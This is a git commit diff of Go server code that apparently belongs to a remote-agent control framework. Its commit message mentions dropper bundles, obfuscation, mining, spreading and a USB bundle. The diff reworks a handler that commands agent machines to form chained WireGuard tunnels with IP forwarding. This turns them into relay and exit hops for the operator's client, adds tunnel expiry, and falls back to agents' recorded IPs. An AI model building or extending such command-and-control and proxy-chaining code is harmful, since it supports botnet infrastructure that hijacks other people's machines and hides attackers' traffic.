fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -57,17 +57,61 @@ type TraceSession struct {
|
||||
clientPubKey string
|
||||
}
|
||||
|
||||
const (
|
||||
pathTraceSessionTTL = 2 * time.Hour
|
||||
pathTraceCleanupInterval = 5 * time.Minute
|
||||
)
|
||||
|
||||
// PathTracerHandler manages on-demand WireGuard chain sessions.
|
||||
type PathTracerHandler struct {
|
||||
hub *WSHub
|
||||
mu sync.Mutex
|
||||
sessions map[string]*TraceSession
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
|
||||
return &PathTracerHandler{
|
||||
h := &PathTracerHandler{
|
||||
hub: hub,
|
||||
sessions: make(map[string]*TraceSession),
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
go h.sessionCleanupLoop()
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) sessionCleanupLoop() {
|
||||
ticker := time.NewTicker(pathTraceCleanupInterval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
h.expireSessions()
|
||||
case <-h.stopCh:
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) expireSessions() {
|
||||
now := time.Now()
|
||||
var expired []*TraceSession
|
||||
h.mu.Lock()
|
||||
for id, sess := range h.sessions {
|
||||
if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
|
||||
expired = append(expired, sess)
|
||||
delete(h.sessions, id)
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
for _, sess := range expired {
|
||||
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -260,11 +304,11 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
if p == 0 {
|
||||
p = 51820
|
||||
}
|
||||
// If UPnP failed, fall back to the IP the server saw.
|
||||
// If UPnP failed, fall back to the agent's last known IP in the DB.
|
||||
ip := res.ExternalIP
|
||||
if ip == "" {
|
||||
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
|
||||
ip = hop.ExternalIP // pre-filled below
|
||||
if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
|
||||
ip = ag.IP
|
||||
}
|
||||
}
|
||||
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
|
||||
@@ -307,11 +351,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
}
|
||||
|
||||
// Phase 2: send wg_configure to each hop.
|
||||
// Build per-hop configs:
|
||||
// - Last hop: peer = none (it's the exit), just IP forwarding
|
||||
// - Middle hops: peer = next hop
|
||||
// - First hop: peer = next hop, or none if single-hop (client connects directly)
|
||||
//
|
||||
// Topology:
|
||||
// - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
|
||||
// - Relay hops also peer forward to the next hop (0.0.0.0/0).
|
||||
// - Middle/exit hops peer back to the previous hop for reverse routing.
|
||||
// The CLIENT config always points to the FIRST hop.
|
||||
|
||||
type cfgResp struct {
|
||||
@@ -330,33 +373,23 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
"local_address": hop.LocalAddr,
|
||||
"listen_port": hop.Port,
|
||||
"enable_ip_forwarding": true,
|
||||
}
|
||||
|
||||
// Peers for this hop: only for relay hops (all except the exit/last hop).
|
||||
if i < len(sess.Hops)-1 {
|
||||
nextHop := sess.Hops[i+1]
|
||||
payload["peers"] = []map[string]interface{}{
|
||||
{
|
||||
"public_key": nextHop.PublicKey,
|
||||
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||
"allowed_ips": "0.0.0.0/0",
|
||||
"persistent_keepalive": 25,
|
||||
},
|
||||
}
|
||||
} else {
|
||||
payload["peers"] = []map[string]interface{}{}
|
||||
"peers": buildHopPeers(sess, i),
|
||||
}
|
||||
|
||||
dataJSON, _ := json.Marshal(payload)
|
||||
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
if err := h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure",
|
||||
"data": string(dataJSON),
|
||||
}),
|
||||
})
|
||||
}); err != nil {
|
||||
h.hub.CancelAwait(hop.AgentID, "wg_configure")
|
||||
cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
|
||||
continue
|
||||
}
|
||||
|
||||
go func() {
|
||||
select {
|
||||
@@ -402,6 +435,43 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||
}
|
||||
|
||||
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
|
||||
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
|
||||
var peers []map[string]interface{}
|
||||
|
||||
// Hop 1 is the client entry point — always accept the phone/client tunnel.
|
||||
if i == 0 {
|
||||
peers = append(peers, map[string]interface{}{
|
||||
"public_key": sess.clientPubKey,
|
||||
"allowed_ips": "10.66.0.1/32",
|
||||
"persistent_keepalive": 25,
|
||||
})
|
||||
}
|
||||
|
||||
// Forward peer: route outbound traffic to the next hop in the chain.
|
||||
if i < len(sess.Hops)-1 {
|
||||
nextHop := sess.Hops[i+1]
|
||||
peers = append(peers, map[string]interface{}{
|
||||
"public_key": nextHop.PublicKey,
|
||||
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||
"allowed_ips": "0.0.0.0/0",
|
||||
"persistent_keepalive": 25,
|
||||
})
|
||||
}
|
||||
|
||||
// Reverse peer: return traffic toward the client via the previous hop.
|
||||
if i > 0 {
|
||||
prevHop := sess.Hops[i-1]
|
||||
peers = append(peers, map[string]interface{}{
|
||||
"public_key": prevHop.PublicKey,
|
||||
"allowed_ips": "10.66.0.1/32",
|
||||
"persistent_keepalive": 25,
|
||||
})
|
||||
}
|
||||
|
||||
return peers
|
||||
}
|
||||
|
||||
// buildClientConfig generates the WireGuard config text the user scans/imports.
|
||||
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
|
||||
h.mu.Lock()
|
||||
|
||||
Reference in New Issue
Block a user